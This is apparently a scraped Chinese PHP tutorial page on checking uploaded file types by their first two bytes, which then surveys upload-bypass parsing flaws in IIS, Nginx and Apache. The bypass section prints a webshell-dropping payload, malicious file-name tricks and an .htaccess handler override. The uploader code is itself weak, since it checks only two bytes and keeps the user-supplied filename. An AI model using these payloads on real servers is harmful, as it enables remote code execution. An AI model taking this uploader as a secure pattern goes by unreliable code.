php在处理文件上传时,经常可以用到下面几种方式来判断文件的类型

1.通过文件名后缀,不安全,非常容易欺骗
2.通过mime判断,部分类型的文件通过修改文件后缀名,也可以欺骗服务器
3.通过头字节判断文件类型,但是判断范围有限,比如docx/xlsx等新的文档,通过头信息判断时,其实是一个zip包

PHP通过读取文件头部两个字节判断文件真实类型及其应用示例

function checkFileType($fileName){

$file     = fopen($fileName, "rb");
        $bin      = fread($file, 2); //只读2字节
        fclose($file);
        $strInfo = @unpack("C2chars", $bin);// C为无符号整数,网上搜到的都是c,为有符号整数,这样会产生负数判断不正常
        $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
        $fileType = '';

if($typeCode == 255216 /*jpg*/ || $typeCode == 7173 /*gif*/ || $typeCode == 13780 /*png*/) {
            return true;
        }else{
            return false;
        }

}

function file_type($filename){
     $file = fopen($filename, "rb");
     $bin = fread($file, 2); //只读2字节
     fclose($file);
     $strInfo = @unpack("C2chars", $bin);
     $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
     $fileType = '';
     switch ($typeCode)
     {
         case 7790:
             $fileType = 'exe';
             break;
         case 7784:
             $fileType = 'midi';
             break;
         case 8297:
             $fileType = 'rar';
             break;
         case 255216:
             $fileType = 'jpg';
             break;
         case 7173:
             $fileType = 'gif';
             break;
         case 6677:
             $fileType = 'bmp';
             break;
         case 13780:
             $fileType = 'png';
             break;
         default:
             $fileType = 'unknown';
     }
     return $fileType;
}

示例,判断真实类型的php上传类:

/**
* 读取文件头部判断文件准确类型
*/
class UpLoader{

private $path;
    private $files;
    private $checkFunction;

/**
     * @param $allow_type 接受参数为过滤类型,目前有"images"和"zip"两种,可以扩展
     */
     function UpLoader($allow_type){

$this->path = getenv('SINASRV_CACHE_DIR').'zhuanqu_files/';

switch($allow_type){
                case 'image':
                    $this->checkFunction = 'checkIfImage';
                break;
                case 'zip':
                    $this->checkFunction = 'checkIfZip';
                break;
            }

}

/**
     * 执行上传
     * @param $files 参数为$_FILES数组
     */
     public function doUpload($files){

$this->files = $files;
            $func = $this->checkFunction;

if($this->files['files']['name'] != '' &&
$this->files['files']['error'] == UPLOAD_ERR_OK) {

$tmp_name = $this->files["files"]["tmp_name"];

//检查文件类型
                if( $this->$func($tmp_name) ){
                    $name = md5_file($tmp_name);
                    $name = $name.'___'.$this->files["files"]["name"];
                    if(move_uploaded_file($tmp_name, $this->path.$name)){
                        //echo ' "上传成功!" ';
                    }
                }
             }
     }

private function checkIfImage($fileName){

$file     = fopen($fileName, "rb");
        $bin      = fread($file, 2); //只读2字节
        fclose($file);
        $strInfo = @unpack("C2chars", $bin);
        $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
        $fileType = '';

if($typeCode == 255216 /*jpg*/ || $typeCode == 7173 /*gif*/ || $typeCode == 13780 /*png*/) {
            return true;
        }else{
           // echo '"仅允许上传jpg/gif/png格式的图片!';
            return false;
        }
     }

private function checkIfZip($fileName){

$file     = fopen($fileName, "rb");
        $bin      = fread($file, 2); //只读2字节
        fclose($file);
        $strInfo = @unpack("C2chars", $bin);
        $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
        $fileType = '';

if($typeCode == 8075) {
            return true;
        }else{
            //echo '"仅允许上传zip格式的文件!"';
            return false;
        }
    }

}

图片木马欺骗服务器案例

利用解析漏洞

一、IIS 5.x/6.0解析漏洞
IIS 6.0解析利用方法有两种
1.目录解析
/xx.asp/xx.jpg

2.文件解析
wooyun.asp;.jpg

第一种,在网站下建立文件夹的名字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。
 
例如创建目录 wooyun.asp,那么
/wooyun.asp/1.jpg

将被当作asp文件来执行。假设黑阔可以控制上传文件夹路径,就可以不管你上传后你的图片改不改名都能拿shell了。
第二种,在IIS6.0下,分号后面的不被解析,也就是说
wooyun.asp;.jpg

会被服务器看成是wooyun.asp还有IIS6.0 默认的可执行文件除了asp还包含这三种
/wooyun.asa
/wooyun.cer
/wooyun.cdx

二、IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞
Nginx解析漏洞这个伟大的漏洞是我国安全组织80sec发现的…
在默认Fast-CGI开启状况下,黑阔上传一个名字为wooyun.jpg,内容为
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

的文件,然后访问wooyun.jpg/.php,在这个目录下就会生成一句话木马 shell.php
 
三、Nginx <8.03 空字节代码执行漏洞
影响版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
Nginx在图片中嵌入PHP代码然后通过访问
xxx.jpg%00.php

来执行其中的代码
 
四、Apache解析漏洞
Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断.
比如 wooyun.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php.
如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个wooyun.php.rara.jpg.png…(把你知道的常见后缀都写上…)去测试是否是合法后缀
 
五、其他
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,黑客可以通过抓包,在文件名后加一个空格或者点绕过黑名单.若上传成功,空格和点都会被windows自动消除,这样也可以getshell。
如果在Apache中.htaccess可被执行.且可被上传.那可以尝试在.htaccess中写入:
<FilesMatch "wooyun.jpg"> SetHandler application/x-httpd-php </FilesMatch>

然后再上传shell.jpg的木马, 这样shell.jpg就可解析为php文件

最新文章

  1. BZOJ 2820: YY的GCD [莫比乌斯反演]【学习笔记】
  2. sql clear dblog
  3. 由一个RABBITMQ监听器死循环引出的SPRING中BEAN和MAPPER接口的注入问题
  4. SQL中的内连接与外连接
  5. mysql 创建索引
  6. SVN 升级后出现You need to upgrade the working copy first.
  7. solr 6.1 服务端 tomcat 搭建及调用
  8. php mkdir函数
  9. wpf将表中数据显示到datagrid示例(转)
  10. InnoDB引擎数据存放位置
  11. Java swing 如何将一个按钮放置到弹出框框的任意位置?(Absolute layout 布局的使用)
  12. Vue.js入门指南(一)
  13. H - Pair: normal and paranormal URAL - 2019
  14. Objective-C 和 Swift 混编项目的小 Tips(一)
  15. Chapter 3 Protecting the Data(2):分配列级权限
  16. HttpClient封装方法
  17. 关于.NET Web API InputStream接收不了数据的问题
  18. why should the parameter in copy construction be a reference
  19. Linear Kingdom Races CodeForces - 115E (线段树优化dp)
  20. django网页图片验证码功能

热门文章

  1. python3 内置函数(转)
  2. 转:selenium webdriver+python基本操作
  3. [Leetcode Week11]Kth Largest Element in an Array
  4. 运行HelloWorld.class是报错(错误: 找不到或无法加载主类 HelloWorld.class)
  5. CWnd创建WS_CHILD和WS_POPUP窗口的不同
  6. Laravel5.5 生成测试数据
  7. 只用120行Java代码写一个自己的区块链-2网络
  8. 火狐firefox插件配合scrapy,注意tbody会导致empty
  9. HDU 2087 剪花布条【在字符串中不可重叠地寻找子串数量】
  10. MySQL数据库增删改字段(属性)